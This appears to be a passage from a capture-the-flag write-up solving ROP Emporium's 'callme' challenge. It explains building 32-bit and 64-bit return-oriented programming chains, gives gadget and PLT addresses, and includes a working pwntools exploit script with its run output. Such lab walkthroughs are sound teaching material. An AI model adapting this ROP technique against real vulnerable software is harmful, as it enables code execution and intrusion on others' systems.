So we have all the three required function calls, but in reverse order, and with different parameters, so calling this function won't get use the flag we are looking for, but we have function calls available to us in the PLT, which is good.
So we'll have to build a ROP chain to call these three functions, in the right order (one, two, three) and with right parameters (1, 2, 3).
32 bit
So we have the PLT addresses available for the three function calls.
JUNK + Call to one + JUMP TO call two + 1 + 2 + 3 -> Repeat
So now we have to find a way to jump pass the 3 parameters and call the other function once the first function is done execution. In this case I found a ROP gadget that pops the value from stack into 3 different registers and then returns back to the stack.
$ python exploit.py > exploit.payload
$ cat exploit.payload | ./callme32
callme by ROP Emporium
32bits
Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}Segmentation fault
64 bit
So due to change in how parameters are passed to x64 architecture systems, we'll have to alter our exploit generation process. Now our exploit will look something like this
Gadget_to_load_parameters + Parameters + Function Call > Repeat
So in x64 parameters are loaded in this order, RDI, RSI, RDX, and so on. Apparently we were able to find a gadget that just that did.
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
And the PLT addresses for the functions were available from the disassembly of the usefulFunction.
0x401850 - ONE
0x401870 - TWO
0x401810 - THREE
So now let's construct our final exploit and get the flag.
from pwn import *
offset = "A"*40
one = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401850)
two = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401870)
three = p64(0x401ab0) + p64(1) + p64(2) + p64(3) + p64(0x401810)
print offset + one + two + three
$ python exploit.py > exploit.payload; cat exploit.payload | ./callme
callme by ROP Emporium
64bits
Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!}